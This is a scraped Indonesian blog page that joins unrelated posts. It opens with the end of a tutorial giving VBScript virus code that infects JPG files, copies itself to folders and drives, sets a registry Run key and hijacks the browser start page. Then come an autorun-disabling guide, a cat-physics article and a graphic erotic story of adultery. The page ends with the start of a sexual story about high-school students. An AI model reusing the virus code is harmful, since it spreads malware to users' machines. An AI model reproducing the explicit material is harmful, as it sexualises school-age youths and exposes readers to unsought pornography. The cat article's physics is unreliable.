‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.

Disable Autorun.inf Menghindari Virus

Beberapa orang ada yang berpikir bahwa file autorun.inf adalah virus, padahal sebenarnya bukan. Autorun.inf adalah suatu sistem file yang digunakan oleh sistem operasi seperti Windows agar secara otomatis menjalankan program ketika removable media seperti CD-ROM, DVD-ROM atau USB Flash dimasukkan di komputer. untuk alasan kenyamanan fitur ini dirancang agar sebuah software yang dipasang pada sebuah disk dapat secara otomatis start saat disk dimasukkan.
Sayangnya autorun.inf ternyata menimbulkan masalah baru. fitur ini dimanfaatkan untuk penyebaran virus. keamanan pengguna pun terancam, mereka yang tidak berniat untuk menjalankan sebuah software terpaksa harus terbelalak dengan kondisi tak mampu berbuat apa-apa untuk menghentikan virus yang langsung berakasi, seperti dalam kasus beberapa virus, yang memanfaatkan fitur ini untuk menyebarkan. ini disebut Sebuah fitur Windows telah gagal ?

Me Non aktifkan AutoPlay bukan solusi karena ketika Anda membuka drive dari My Computer, Windows masih akan menjalankan instruksi yang ditemukan di autorun.inf.

Ada perbedaan antara Autoplay dan Autorun. Autoplay adalah ketika Anda memasukkan CD / DVD atau USB flash drive, Anda mendapatkan kotak dialog yang menanyakan apa yang ingin Anda lakukan Windows, sedangkan autorun akan langsung mengeksekusi perintah yang ada di file autorun.inf. dan ketika ini berjalan tidak ada sama sekali kesempatan bagi Anda untuk membatalkan autorun.
Cara menonaktifkan autorun.
Langkah 1 : Click Start->Run atau tekan tombol Window + R pada keyboard untuk menampilkan kotak dialog Run.
Langkah 2 : Ketik regedit lalu tekan Enter untuk menjalankan Registry Editor.
Langkah 3 : Pada kiri, panel klik ganda folder untuk memperluas dan pergi ke
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Langkah 4 : Pada panel sebelah kanan double klik NoDriveTypeAutoRun
Langkah 5 : Pada Value Data , ketik FF untuk Heksadesimal atau 255 untuk nilai desimal.
Langkah 6 : Tutup Registry Editor dan restart komputer.
Cara menonaktifkan autorun dengan Notepad
Berikut ini adalah kunci registri yang bisa Anda gunakan untuk mem blok autorun.inf. Buka notepad atau teks editor lainnya, salin teks di bawah ini dan simpan sebagai NoAutoRun.reg. Pastikan save dengan ekstensi . Reg bukan. Txt.
REGEDIT4
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionIniFileMappingAutorun.inf]
@ = “@ SYS: DoesNotExist”
Jalankan file tersebut, klik Yes jika ada konfirmasi.

Minggu, 10 Juli 2011

Kenapa Kucing Tidak Bisa Jatuh Terbalik?

Anda mungkin pernah lihat kucing yang jatuh dari tempat tinggi kemudian membalik tubuhnya dan bisa mendarat dengan mulus dan tidak mengalami cedera. Kenapa bisa? Hal ini terjadi karena kucing (dan beberapa hewan lain) punya sistem keseimbangan dan koordinasi yang luar biasa.





Sistem inilah yang membuat kucing, ketika jatuh, akan menyadari dalam posisi apa dia jatuh. Kalau dia jatuh dalam posisi terbalik, dia akan segera memutar tubuh sehingga kakinya berada di sebelah bawah, dan bersiap untuk mendarat.

Mendaratnya juga tidak asal meregangkan kaki. Kalau manusia jatuh dari tempat tinggi dengan kaki ke bawah, biasanya pasti patah kan. Kalau kucing pinter, mereka setelah memutar kaki ke bawah, segera meregangkan kakinya sehingga angin menahan jatuh tubuhnya. Dan saat bersentuhan dengan tanah, kakinya langsung ditekuk supaya mengecilkan efek jatuhnya.






Rekor tertinggi pernah mencatat bahwa kucing pernah jatuh dari ketinggian lantai 46 tingkat (walaupun sambil jatuh dia sempat mantul-mantul ke kanopi) dan tetap bisa bangun dan berjalan dengan agak terpincang, luar biasa kan.

Kalau manusia kemungki mati tuh. Tapi penelitian menunjukkan bahwa semakin tinggi kucing jatuh, makin banyak tulangnya yang patah. Itu bisa terjadi hanya jika ia terjatuh minimal dari batas lantai 5 tingkat saja. Lebih dari itu, jumlah tulang kucing yang patah menurun drastis, apalagi kalo semakin tinggi.

Nah rahasianya adalah, kucing (dan beberapa hewan lainnya) punya apa yang disebut dengan terminal velocity, yaitu kecepatan jatuh maksimum yaitu 60 mil perjam. Saat kucing jatuh, sesuai hukum fisika, kecepatan jatuh si kucing makin bertambah.

Ternyata, saat kecepatan jatuh kucing mencapai terminal velocity, di saat itulah kucing merasa paling rileks dan nyaman. Maka dia mulai meregangkan kakinya seperti bajing loncat untuk mengurangi efek jatuhnya.

Nah itulah sebabnya makin tinggi dia jatuh, makin ada kesempatan untuk dia merasa rileks. Itu juga sebabnya kalau dijatuhin dari tempat yang rendah, dia tidak sempat ngerasa rileks. Makanya jatuhnya lebih berasa.

Cermin Antik


Rosa masih memandang-mandang dirinya sendiri di depan sebuah cermin antik. Cermin peninggalan neneknya. Sebuah cermin bergaya klasik dari kayu berukir dan disepuh warna emas. Ketika Rosa masih kanak-kanak, ia sering berkaca di depannya sambil menirukan kata-kata dalam legenda Putri Salju.

"Mirror mirror on the wall.. Siapakah yang tercantik didunia ini?"

Namun sayang, jawaban yang ia harapkan tak pernah didapatkannya. Cermin itu selalu diam membisu. Yang ia dapatkan hanya pantulan wajah wanita, ya wajah Rosa sendiri yang terlihat murung.

Makin lama ia memandang cermin itu, makin jauh pikirannya membayangkan Abi Kakak iparnya. Ada perasaan gundah kala ia mengingat Kakak iparnya itu. Berkali-kali ia merenungkan apa yang dikatakan Abi kepadanya.

"Ros, aku mencintaimu melebihi siapapun didunia ini."

Pagi-pagi sebelum berangkat kerja, Rosa telah berdandan dengan cantik dan rapi. Perasaannya makin tidak menentu ketika wajahnya terpantul pada cermin antiknya. Ada perasaan bersalah ketika ia memandang cermin tersebut. Perasaan seorang wanita yang mengerti bagaimana sakitnya apabila cintanya diduakan. Tapi rasa sukanya kepada Abi, mengalahkan kepekaannya sebagai seorang perempuan. Pagi itu di depan cermin antiknya, tekadnya sudah bulat. Dia akan menerima ajakan Abi untuk makan siang di restaurant.

Siang yang sangat terik, sebagian pekerja kantoran meluangkan waktu istirahatnya dengan makan siang di dalam dan di luar ruang kerjanya. Orang-orang terlihat bagaikan sekawanan semut berjalan bergerombol keluar dari gedung kantor tempat Rosa bekerja. Rosa tampak dalam kerumunan orang-orang tersebut. Sebuah mobil sedan berwarna hitam keluaran terbaru menjemputnya tepat pada luar gerbang kantornya. Sedetik kemudian Rosa telah berada di dalam mobil mewah tersebut.

"Kamu cantik sekali, Ros.."
"Terima kasih Mas.." Rosa menyahut pelan.

Keheningan menyelimuti keduanya. Tidak ada kata-kata yang muncul diantara mereka. Hanya suara deru mobil lamat-lamat terdengar dan suara musik R&B yang dikecilkan keluar dari audio mobil tersebut.

"Kita makan dimana Mas."

Akhirnya Rosa membuka kekakuan diantara mereka. Abi hanya menoleh ke arahnya dan menempelkan telunjuknya pada bibir Rosa.

"Rahasia.."

Mobil mewah tersebut berbelok arah menuju hotel bintang lima di kota yang sangat sibuk. Antrean kendaraan membuat mobil itu berjalan dengan perlahan-lahan. Seorang petugas parkir mempersilahkan mobil itu menepi di tempat yang kosong. Rupanya Abi sangat dikenal di tempat tersebut. Terdengar sapaan ramah dari petugas parkir itu.

"Mas tahu apa kesenanganmu Ros.." Abi menggandeng tangan Rosa sambil berjalan menuju restaurant Perancis yang ada di dalam hotel bintang lima tersebut.

"Ah.. Mas ingat rupanya masakan favoritku.." Rosa tersenyum manja kepada Abi.
"Ya, Ros, Mas masih ingat sewaktu kamu pulang dari Perancis, apa yang kamu minta kepada kakakmu."
"Kak, aku mau makan masakan perancis..?" Gelak tawa keduanya terdengar, bagaikan sepasang kekasih dimabuk asmara.

Hanya beberapa orang penduduk lokal yang terlihat makan di dalam restauran Perancis tersebut. Kebanyakan orang-orang asing, wisatawan atau pekerja asing yang tinggal di Indonesia makan di sini. Tatatan interior restaurant tersebut sangat kental dengan aroma Perancis. Bau masakan dan hidangan Perancis yang mempesona membangkitkan gairah makan.

"Mau coba wine lagi Ros.."
"Mas mau buat aku mabuk ya.." Rosa tertawa manja sambil mencubit lengan Abi.

Keduanya tampak menikmati makan siang mereka. Bunyi denting sendok beradu dengan piring sesekali terdengar. Alunan musik klasik dari sound system di restaurant tersebut membuat suasana menjadi nyaman dan romantis.

"Ros, Mas kalau dengar musik begini jadi ngantuk nih.." Abi tersenyum penuh arti kepada Rosa.
"Terus mau diapain, Mas mau bobok dibangku ini?" Rosa tertawa memperlihatkan gigi putihnya tersusun rapi.
"Kamu nggak malu, kalau Mas tidur di sini.."
"Nggak, paling Rosa tinggalin Mas di sini.."
"Benar.. Nggak malu.." Abi mengambil posisi layaknya orang akan tidur di tempat tidur.
"Mas! Jangan ngaco.."
"Kalau nggak boleh tidur di sini, di kamar hotel ini aja ya.."
"Tahu nih.. Mas seperti kena obat tidur bawaannya ngantuk berat." Abi berkata demikian dengan maksud tertentu.

Rosa yang merasa kasihan kepada Abi, mempersilahkan Abi untuk mencari kamar di hotel tersebut. Dalam hatinya, Rosa juga mengetahui keinginan Abi. Abi ingin membawanya menikmati suasana yang lebih dari sekedar makan siang. Sebenarnya kata hatinya sangat bertentangan dengan keinginanannya. Tapi lagi-lagi cintanya yang begitu besar kepada Abi mengalahkan kata hatinya.

Suasana kamar hotel bintang lima terkesan sangat mewah. Tempat tidur yang menawan dengan ditutupi sprei satin berwarna putih, memberikan kesan yang elegan. Pencahayaan yang diatur sedemikian rupa membuat suasana kamar menjadi romantis. Ada rasa kerinduan yang sangat di dalam hati Rosa. Kerinduan yang begitu dalam akan sentuhan laki-laki dewasa. Kini kenyataannya akan segera terwujud. Abi, Kakak iparnya akan memberikan sentuhan yang sudah lama ia rindukan. Sebersit keraguan berkecamuk dalam dirinya. Akankah dia korban harga diri dan penghianatan cinta kepada Kakak kandungnya sendiri. Yang tidak lain adalah istri Abi.

"Ros.. Mas sayang kamu."

Lamunan Rosa segera buyar. Dia hanya membiarkan bibir Abi melumat bibirnya. Ada rasa ketegangan pada dirinya. Ada suatu rasa penghianatan dan nista pada dirinya. Semuanya berkecamuk, mengaduk-ngaduk isi pikirannya. Abi rupanya mengetahui isi pikirannya. Dilepasnya ciumannya dan membiarkan pandangan mata Rosa mengarah kepadanya.

"Mas tahu.. Ini salah, tapi perasaan Mas kepadamu tidak dapat Mas sembunyikan lagi.."
"Stop! Mas.."

Dengan tiba-tiba Rosa melumat bibir Abi. Lumatan birahi yang menggebu-gebu. Lumatan bibir seorang perempuan berumur tiga puluh dua tahun yang telah bersuami. Keduanya sadar dalam melakukan perselingkuhan ini.

"Ah.." Desahan birahi keluar dari mulur Rosa, saat lehernya yang jenjang dicium. Napasnya naik dan turun ketika tangan Abi merogoh masuk ke dalam belahan blaser yang masih dia kenakan. Tangan Abi yang halus meraba sekujur perutnya yang rata.

"Perut kamu seperti perut seorang gadis, Ros.." Pujian Abi membuat Rosa serasa di awang-awang. Belum pernah suaminya mengatakan hal demikian kepadanya. Abi sangat sensitif dan memperhatikannya.

Bibir keduanya melumat dengan liar. Lidah Rosa menjulur ke dalam rongga mulut Abi, mengadu lidah keduanya seolah menjadi satu. Kedua tangan Abi melepaskan seluruh pakaian yang dikenakan oleh Rosa. Buah dadanya yang besar ditopang oleh BH berenda berwarna hitam.

"Kamu sangat sexy.. Sayang.."

Abi sangat pandai memuji. Seluruh pujiannya membuat Rosa terpikat dan membuat birahinya makin bertambah besar. Pikirannya sudah bulat akan memberikan seluruh tubuhnya kepada Abi.

Tangan Rosa pun mulai bergerak melepaskan kemeja tangan panjang yang masih dikenakan Abi. Dada Abi yang bidang dirabanya dengan kedua tangannya yang putih mulus. Jari-jari tangan Rosa bermain-main diantara belahan dada Abi. Dengan gerakan yang lembut Rosa mencium dada Abi yang bidang. Bibir dan lidahnya menjilati seluruh permukaan dada dan perutnya. Abi hanya memejamkan matanya. Sesekali mulutnya mendesah menahan geli dan hasrat yang membara. Terlihat dia sangat menikmati permainan Rosa.

Tangan Rosa membuka resleting celana panjang Abi. Kontol Abi yang sudah menegang sejak tadi, segera mencuat keluar menghirup aroma birahi yang ditebarkan Rosa. Rosa terpekik melihat kontol Abi yang begitu besar dan panjang. Urat-urat kontol Abi terlihat kekar dengan dihiasi tahi lalat kecil. Menandakan pemiliknya memang jagoan dalam hal bersetubuh.

Dengan kedua tangannya, Rosa memegang batang kontol Abi, bagaikan memegang benda yang begitu berat. Kedua tangannya meremas dengan gemas batang kontol Abi. Mulut Rosa yang tipis mengulum ujung kontol Abi. Abi menggelinjang kegelian. Giginya yang putih menggigit dengan lembut, kemudian mengulum bagaikan seorang gadis kecil menikmati gula-gula. Abi makin bernafsu.

"Ah.. terus sayang.. Hisap yang kuat.. Ah.."

Rosa tidak menjawab erangan Abi, mulutnya makin asyik mengulum, memasukkan dan mengeluarkan batang kontol Abi. Kedua tangannya memegang pantat Abi. Masuk.. Keluar.. Masuk.. Keluar begitu berulang-ulang sehingga urat-urat kontol Abi makin terlihat menegang, seolah-olah seluruh cairan dalam batang kontolnya akan segera meledak.

"Ros.. Mas mau keluaar.. Sayang.."
"Keluarin Mas, jangan ditahan.."

Rosa kembali memasukkan kontol Abi ke dalam mulutnya. Tangannya merasakan sperma yang ada dalam batang kontol Abi akan segera tumpah. Crot.. Sperma Abi keluar dan masuk ke dalam mulut Rosa. Sebagian dapat ditelanya, selebihnya sperma Abi berceceran di karpet. Abi terlihat sangat puas. Diciumnya rambut Rosa yang hitam legam.

"Rosa ke kamar mandi dulu ya Mas.."

Abi hanya menganggukkan kepalanya dan menuju tempat tidur. Bunyi gemericik air terdengar dari dalam kamar mandi. Rosa menyikat giginya dengan pasta gigi yang tersedia di sana. Tangannya meraba vaginanya yang basah oleh birahinya yang belum terpuaskan.

"Wow.. Kamu benar-benar sexy, sayang.."

Mata Abi tidak berkedip melihat tubuh Rosa tanpa sehelai benang pun menuju tempat tidur. Dengan tubuh polos putih bersih dan rambut yang panjangnya sepunggung, membuat Rosa sangat seksi dan membangkitkan gairah sex laki-laki. Dia naik dari ujung tempat tidur. Merangkat mendekati wajah Abi. Keduanya berciuman kembali. Lumatan bibir keduanya seakan tak kan pernah usai. Seakan bibir keduanya ingin selalu bersatu selamanya. Abi meremas kedua payudara Rosa yang besar dan kenyal. Tangannya memegang dari bawah payudara Rosa, kemudian meremasnya dengan sangat lembut. Rosa terpekik kegelian dan melepaskan ciumannya.

Abi kemudian melumat payudara Rosa. Putingnya yang kemerahan dihisapnya dengan sangat rakus, bagaikan seorang bayi yang kelaparan. Sedotan mulut Abi menimbulkan bunyi-bunyian yang khas. Srup.. Sruup..

Mata Rosa hanya terpejam dan merintih menahan geli. Vaginanya kembali berkedut-kedut, menandakan cairan birahinya akan keluar.

"Mas.. Hisap bawahku.. Sayang.."

Abi merosot kebawah menuju lubang vagina Rosa. Mulutnya menciumin klitoris Rosa yang menonjol keluar. Lidahnya menusuk-nusuk ke dalam celah-celah bibir vagina Rosa. Abi merasakan cairan keluar dari dalam vagina Rosa. Mulutnya makin keras menyedot klitoris Rosa.

"Ah.. Ah.. Aku.. Keluaar.. Mas.." Rosa menjerit kenikmatan.

Badannya terlentang membuat payudaranya yang besar dan kenyal mendongak ke depan. Bulu-bulu kemaluannya yang di cukur rapi, membuat Abi sangat bergairah. Abi menciumi Rosa dengan sangat bernafsu. Mereka bergumul dengan semangat berapi-api. Bunyi decik tempat tidur beradu dengan suara-suara musik yang keluar dari televisi. Tubuh mereka bergumul menindih satu sama lainnya. Sprei tempat tidur yang tadinya tertata dengan rapi, terlihat berantakan. Bed cover berserakan di bawah tempat tidur.

"Ah.." Rosa menjerit nikmat, ketika kontol Abi yang besar menerobos liang vaginanya. Ada sedikit hambatan saat kontol Abi yang besar masuk ke dalam lubang vagina Rosa. Vagina Rosa kecil dan sempit. Abi merasakan batang kontolnya sangat sesak di dalam lubang vagina Rosa.

Sret.. Sret.. Blep.. Blep..

"Ros.. Vagina kamu enak sekali sayang.." Abi kembali memuji Rosa. Kontolnya terus memompa ke dalam vagina Rosa. Cengkeraman lubang vagina Rosa mulai mengendur, membuat kontol Abi leluasa masuk dan keluar. Mata Rosa hanya terpejam merasakan kenikmatan yang luar biasa. Kontol Abi sangat besar, membuat birahinya cepat keluar. Otaknya mulai merasakan akan terjadi tumpahan dari dalam dinding cairan birahinya. Gesekan kontol Abi yang terus menerus, membuat pertahanannya cepat rapuh. Urat-urat cairan dalam vaginanya berkedut-kedut menandakan orgasmenya akan segera keluar.

"Ah.. Ah.. Oh.. Mas.. Rosa mau keeluaar.. Ooh.." Erangan panjang Rosa membuat Abi makin bernafsu memompa.

Blep.. Blep.. Blep..

Sedetik kemudian sperma Abi pun menyemprot masuk ke dalam vagina Rosa.

"Aah.." Abi merasakan kenikmatan yang luar biasa. Napasnya naik dan turun. Kontolnya berkedut-kedut menetaskan cairan sperma. Rosa tersenyum puas dan sesekali badannya mengelinjang, saat kontol Abi makin masuk ke dalam vaginanya.

"Ih.. Mas.. Geli sekali sayang.." Rosa memandang wajah Abi dan mengelusnya dengan lembut. Abi mencium bibirnya seraya memuji kenikmatan yang telah diberikan Rosa kepadanya. Mereka saling berciuman dan tidur berpelukan hingga sore hari.

Malam itu Rosa terlihat sedikit gusar. Sesekali dipandanginya cermin antik yang memantulkan wajahnya. Suaminya tergolek ditempat tidur, badannya sangat kelelahan setelah seharian bekerja di kantor. Rosa melirik suaminya. Ada perasaan iba kala melihat wajah suaminya yang tanpa dosa.

Jantungnya berdegup kencang, ketika dilihatnya sesosok muka memantul dari cermin antiknya. Wajah seorang wanita yang sangat ia kenal. Wajah yang hampir mirip dengan wajahnya. Ya, wajah seorang perempuan yang tidak lain adalah wajah kakaknya sendiri. Wajah istri Abi!

Tiba-tiba, tangan Rosa mencari benda yang ada di depan meja antiknya. Dia melemparkan benda tersebut ke arah cermin antik. Brak!

TAMAT

Sabtu, 09 Juli 2011

BELAJAR BERSAMA


Kenalkan nama saya "Aidit", usia saat ini 38 tahun dengan tinggi badan 165 cm, berat badan 60 kg, warna kulit agak kemerahan. Saya bekerja sebagai pengelola jasa dengan fasilitas komputer. Saya kenal internet sejak 4 Bulan yang lalu. Sejak itu saya rajin membaca majalah hiburan dan bertanya pada teman-teman tentang internet. Bahkan setiap saya nonton televisi selalu memperhatikan iklan yang ada URL-nya, karena dari situlah saya mulai mencoba membuka internet dengan modal URL itu.

Ketika ketemu dengan 17Tahun.com lewat teman, ternyata memang sangat menarik buat saya, karena banyak kisah pornografi yang dapat ditemukan di dalamnya, yang tentu saja dapat menambah pengetahuan dan gairah saya selaku laki-laki normal yang sudah punya tempat praktek (istri). Karenanya, tidak heran jika hampir setiap malam saya menghabiskan waktu pada situs ini. Bahkan sempat ikut mengirim cerita, meskipun beberapa kali ditolak oleh 17Tahun.com dengan alasan tidak mengikuti tatabahasa yang baku.

*****

Peristiwanya terjadi ketika saya masih duduk di SMA. Ketika itu, saya dan Sari (bukan nama aslinya) merupakan teman seperjalanan setiap kami berangkat ke sekolah, karena waktu itu kampung tempat tinggal kami dengan tempat sekolah kami jaraknya kurang lebih 4 km, dan belum terjangkau oleh kendaraan (mobil) disebabkan jalanannya berlubang-lubang dan jembatannya belum terpasang. Karenanya setiap berangkat ke sekolah, kami selalu jalan kaki pulang pergi bersama Sari, meskipun sekolah kami berbeda, tapi gedungnya cukup berdekatan.

Seperti hari-hari sebelumnya, saya dan Sari selalu cepat bangun untuk bersiap-siap ke sekolah (rata-rata jam 5. 30 pagi) agar kami tidak terlambat. Suatu ketika kami janjian untuk lebih cepat berangkat ke sekolah, sebab kebetulan hari pasar ramai. Kami telah sepakat membeli buku, polpen dan buah-buahan di pasar, sehingga pagi itu kami lebih cepat bersiap-siap berangkat dari biasanya.

Kebetulan sekali kami bertemu di Sumur yang berada di tengah sawah, letaknya kurang lebih 1/2 km dari rumah penduduk. Pertemuan saya dengan Sari di sumur itu memang hampir setiap hari, tapi baru kali ini kami hanya berdua, di mana pada hari-hari sebelumnya selalu ramai dikunjungi oleh warga, sebab sumur tersebut termasuk bersih airnya, luas dan tidak pernah kering walau musim kemarau.

Mungkin inilah yang dimaksud orang bahwa pelanggaran atau kejahatan itu bisa terjadi secara tiba-tiba karena ada peluang. Inilah yang menimpa kami saat itu. Pada awalnya, sebagaimana pada pertemuan-pertemuan kami sebelumnya, kami bersikap biasa-biasa saja sebagaimana layaknya teman biasa. Karena pertemuan kami sudah dianggap biasa, maka tidak aneh jika si Sari langsung buka baju dekat sumur untuk cepat-cepat mandi, tapi ia tetap menutupi tubuhnya hingga di bawa ketiaknya dengan sarung mandi.

Waktu itu saya duduk di puncak bukitan kecil yang jaraknya kurang lebih 5 m dari tempat si Sari mandi. Ia tidak pernah merasa malu apalagi takut pada saya, karena saya sudah dianggap sahabat dan keluarga sekampung. Namun, entah setan dari mana yang mengetuk hati saya, tiba-tiba dibenak saya muncul pikiran untuk mencoba menoleh ke arah Sari yang sedang mandi, yang tidak biasa saya lakukan. Muncul keinginan baru di hati saya untuk memperhatikan bentuk bodi si Sari, tapi sayang separuh tubunya tertutub dengan kain sarung mandi, apalagi cuaca masih remang-remang (kurang jelas).

"Sudah selesai Sari,? giliran saya lagi yah,?". Tanya saya sambil mendekati sumur itu.
"Yeah, baru selesai", jawabnya.
Bersamaan dengan jawabannya itu, ia langsung memutar badannya ke arah saya. Ia langsung kaget seolah mau berteriak sambil menahan nafas. Ia tidak menyangka jika saya sudah ada di pinggir sumur, yang kebetulan tempatku berdiri lebih tinggi dari tempat Sari mandi.

"Mmmaaf", serentak kami ucapkan maaf dengan suara yang tak teratur.
"Maaf, Saya tidak tahu jika kamu belum selesai", kata saya.
"Maaf juga, sebab saya tidak tahu jika kau sudah mendekat", katanya seolah-olah merasa bersalah pada saya karena waktu memutar badannya ke arah saya ia dalam keadaan terbuka sarung mandinya untuk mengganti sarung yang sudah disiapkan di dekatnya.
Untuk itu, sempat saya menyaksikan pemandangan yang sungguh indah dan menggetarkan hati saya. Saya belum pernah menyaksikan keindahan seperti itu sebelumnya pada gadis lain.

Walaupun hanya sekilas, tapi pemandangan tadi itu cukup mengganggu konsentrasi saya, sehingga terbawa-bawa sampai tiba di rumah. Sejak pemandangan yang saya saksikan di-sumur tersebut, saya selalu berfikiran aneh-aneh pada si Sari, yang selama ini tidak pernah terpikirkan. Karena itu, hubungan persahabatan saya semakin dekat dan akrab, bahkan saya selalu berusaha untuk meningkatkan hubungan itu menjadi hubungan pacar/cinta. Ternyata impian saya itu jadi kenyataan ketika beberapa hari setelah kejadian itu, saya menawarkan belajar bersama di rumahnya dalam bidang studi matematika, ternyata ia setuju.

Saya masih ingat, waktu itu malam Minggu tepat pada jam 7. 30 malam, saya sudah berada di rumahnya. Kami sempat makan malam bersama di rumahnya bersama dengan kedua orangtua dan seorang adiknya. Kebetulan Sari tinggal bersama kedua orangtuanya dengan seorang adiknya yang masih duduk di bangku Sekolah Dasar. Sedangkan Sari sendiri sudah duduk di bangku sekolah sederajat SMA. Berhubung karena bapaknya telah merantau selama puluhan tahun, sehingga ia sangat terlambat dikaruniai adik.

Setelah kami makan bersama, kami mulai belajar bersama-sama di ruang tamu sari. Sedang Bapak Sari, pergi ke rumah tetangganya ngobrol-ngobrol mungkin soal pertanian, sementara Mama dan adiknya ke tempat tidur, mungkin kecapean habis kerja keras di sawah. Pada awalnya belajar bersama kami berjalan lancar tanpa ada gangguan sedikitpun. Kami berdiskusi sambil tukar pengalaman masalah pelajaran di sekolah kami masing-masing.

Setelah jarum jam menunjukkan pukul 10. 00 malam, cara duduk saya masih tetap normal di tempat semula, tapi Sari nampaknya mulai agak kecapean, sehingga ia sedikit merebahkan kepalanya ke sandaran kursi kayu tempat duduknya. Tiba-tiba saya teringat pada keindahan tubuh Sari yang telah saya saksikan di sumur, akhirnya mulai konsentrasi saya terganggu lagi. Mungkin akibat cara duduk Sari yang sedikit menjulurkan kedua kakinya di bawah meja, sehingga sempat bersentuhan dengan kaki saya. Saya mencoba berpura-pura jatuhkan polpen di bawah meja, lalu saya membungkuk di bawah meja tersebut untuk meraih polpen saya yang jatuh itu.

Keadaan konsentrasi belajar saya semakin tidak karuan setelah saya melihat paha Sari saat saya meraih polpen, yang kebetulan jatuh dekat kaki Sari. Bahkan walaupun dag, dug pada jantung saya saat itu, tapi saya tetap memberanikan diri menyentuh dan mengangkat sedikit paha Sari yang tergolong putih mulus di depan mata saya itu dengan alasan meraih pulpen yang ada di bawah kedua kakinya. Bukan main kagetnya waktu itu, ia tiba-tiba tersentak keras ketika merasakan pahanya bersentuhan dengan tangan saya. Mungkin ia kurang biasa tersentuh dengan kulit laki-laki.

"Maaf, saya tidak sengaja Sari", demikian ucapan saya dengan perasaan takut kalau-kalau ia marah pada saya.
"Tidak apa-apa, kan tidak disengaja, cuma saya sedikit kaget, saya kira apa", Katanya sambil tersenyum pada saya.
Karena sikapnya yang tidak marah itu, apalagi sedikit tersenyum pada saya, maka saya tentunya sangat bahagia dan bangga, karena memperoleh hasil yang sedikit memuaskan. Yeah, ada motivasi untuk mengembangkan.

Setelah jarum jam menunjukkan pukul 11. 15 m malam itu, saya coba memancing untuk pulang kerumah saya dengan alasan ia sudah mulai ngantuk.
Tapi tiba-tiba"Jangan dulu pulang Aidit, ini masih pagi. Buktinya Bapak saya belum selesai ngobrol di rumah tetangga, apalagi besok kan hari raya, kita tidak perlu cepat-cepat bangun untuk ke sekolah".
Perkataan Sari dengan penuh harap agar saya masih mau tetap menemaninya belajar. Demikian besarnya harapannya untuk ditemani belajar, sampai-sampai ia dengan berani menarik tangan saya dan menyuruh saya duduk kembali di tempatku.

Padahal dalam hati kecil saya, ingin rasanya berlama-lama bersama Sari. Saya hanya ingin menguji kesetiaan dia terhadap saya setelah saya tadi dengan lancang memegang pahanya. Karena sikapnya mencegah saya pulang kerumah lebih cepat, maka secara otomatis saya bisa meyakini kalau dia juga senang dan penuh perhatian pada saya. Entah apakah di hatinya juga ada perasaan aneh seperti yang saya rasakan atau tidak, tapi yang jelas malam itu saya semakin penasaran untuk bertindak lebih jauh padanya.

Dalam benak saya, suatu kerugian besar jika saya hanya duduk-duduk bersama dia tanpa ada peningkatan reaksi, sebab konsentrasi belajar saya juga sudah tidak terarah dan kesempatan seperti ini juga sulit didapatkan, ditambah dengan munculnya dorongan birahi terhadap dia. Akhirnya walau pelan sekali dan penuh keragu-raguan serta jantung berdebar-debar, saya mencoba sedikit demi sedikit menyentuhkan ujung kaki kanan saya pada salah satu ujung kakinya, namun ia hanya diam dan tidak berkomentar sedikitpun. Malah sempat memandangi wajah saya ketika saya mencoba merapatkan kedua betis saya pada kedua betisnya yang tidak tertutup, tapi hanya sejenak. Setelah itu ia kembali membuka-buka bukunya.

Sambil berpura-pura buka-buka buku di depan saya, saya mencoba meningkatkan reaksi dengan menjulurkan kedua kaki saya lebih ke depan lagi sambil mengangkat sedikit tempat duduk saya ke depan, sehingga lutut saya sempat menyentuh paha Sari yang masih terbungkus sarung. Kali ini ia kembali memandang wajah saya, sehingga sayapun menyambut dengan tatapan yang sama. Cukup lama kami saling menatap tanpa kata-kata dan tanpa gerakan yang berarti. Tiba-tiba"tok, tok, tok", pintu berbunyi pertanda ada orang yang mau masuk ke rumah. Spontan kami tersentak dan langsung menghentikan kegiatan kami itu.

Setelah Sari berlari membuka pintu, ternyata Bapaknya sudah kembali ke rumah.
"Masih pada belajar?", tanya Bapaknya.
"Yah pak", jawaban kami secara serentak.
"Besok kan Sari tidak sekolah pak, jadi kesempatan saya diskusi dengan Aidit, yang lebih luas pengetahuannya dari saya", kata Sari merayu bapaknya agar kami diizinkan tetap melanjutkan belajar bersama.
"Terserah kamu deh, yang penting jangan terlalu besar suaramu belajar, sebab saya mau tidur nih", ucapan bapaknya mengizinkan untuk tetap melanjutkan kegiatan kami.

Alangkah gembiranya perasaan saya mendengar ucapan Bapak Sari yang cukup bijaksana dan penuh pengertian itu. Ingin rasanya saya memijat badannya yang letih itu sebagai tanda terimah kasih saya padanya agar ia dapat lebih cepat dan lebih pulas tidurnya, biar kami lebih leluasa melanjutkan kegiatan kami tadi. Waktu terus berjalan tanpa terasa dan kini jarum jam menunjukkan pukul 12. 00 malam. Bapak Sari kedengaran berdengkur sebagai tanda tidurnya sangat nyenyak, sementara Ibu dan adik Sari yang kamarnya terletak jauh di belakan dekat dapur, yang tidak diragukan lagi akan terganggu tidurnya sejak tadi.

